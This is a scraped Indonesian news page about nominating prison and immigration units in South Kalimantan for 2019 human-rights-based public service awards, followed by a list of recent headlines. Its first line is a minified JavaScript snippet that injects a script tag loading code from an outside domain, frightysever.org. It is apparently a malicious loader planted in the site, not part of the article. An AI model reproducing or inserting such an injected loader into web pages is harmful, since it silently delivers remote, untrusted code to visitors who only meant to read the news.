(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Usulkan UPT di Kalsel Raih Penghargaan Pelayanan Publik Berbasis HAM 2019


BANJARMASIN, Unit Pelaksana Teknis (UPT) Pemasyarakatan dan Imigrasi di Kalimantan Selatan akan memperoleh penghargaan pelayanan publik berbasis hak asasi manusia pada hari HAM se-Dunia pada 10 Desember mendatang.

Hal ini terealisasikan, bilamana UPT tersebut telah melaksanakan seluruh kriteria pelayanan publik berbasis HAM  yang berpedoman pada Peraturan Menteri Hukum dan HAM nomor 27 tahun 2018 tentang penghargaan pelayanan publik berbasis hak asasi manusia.

Dalam rapat yang berlangsung di ruang kepala Kantor Wilayah, Tim Verifikasi membahas pemberian penghargaan kepada UPT yang memiliki pelayanan publik berbasis HAM, Selasa (11/6).

“Saya ingin tahun ini seluruh UPT Pemasyarakatan dan Imigrasi di Kalsel untuk diusulkan memperoleh penghargaan pelayanan publik berbasis HAM mengingat Tahun 2018 lalu, dari 5 UPT yang diusulkan hanya Lapas Perempuan Martapura dan Kanim Banjarmasin yang berhasil meraih penghargaan pelayanan publik berbasis HAM,” kata Kepala Kanwil Kemenkum HAM Kalsel, Ferdinand Siagian.

Pelayanan publik berbasis HAM adalah kegiatan atau rangkaian dalam pemenuhan kebutuhan pelayanan sesuai dengan ketentuan peraturan perudang-undangan dan prinsip HAM bagi setiap warga negara dan penduduk atas jasa/atau pelayanan administratif yang disediakan. 

Tim Verifikasi yang dibentuk berdasarkan Keputusan Direktur Jenderal Hak Asasi Manusia nomor : HAM1-24.HA.04.03 Tahun 2019 tentang tim verifikasi pelayanan publik berbasis HAM di Kanwil Kemenkumham Kalsel akan melakukan verifikasi kriteria pelayanan publik berbasis HAM yang dimulai 1 April sampai 31 Oktober pada tahun berjalan. 

Adapun verifikasi dimaksud dilakukan dengan mengisi kriteria pelayanan publik berbasi HAM sesuai kondisi UPT dan membuat berita acara hasil verifikasi. Selanjutnya, hasil verifikasi diserahkan kepada tim penilai paling lambat tanggal 15 November tiap tahunnya.

“Kriteria sudah ada tercantum pada Peraturan Menteri Hukum dan Hak Asasi Manusia, jadi UPT tinggal mengikuti pedoman yang ada untuk selanjutnya dibuat laporan dan berita acaranya beserta foto-foto untuk menjadi data dukung sebelum Tim akan turun untuk memastikan data dukung tersebut,” Kata Kepala Divisi Pelayanan Hukum dan HAM, Subianta Mandala. (rico)

Reporter : Rico
Editor : Bie

Desy Arfianty

Recent Posts

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

3 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

3 jam ago

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

6 jam ago

Korban Tenggelam di Sungai Martapura Ditemukan Senin Dinihari

KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More

8 jam ago

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

21 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

21 jam ago

This website uses cookies.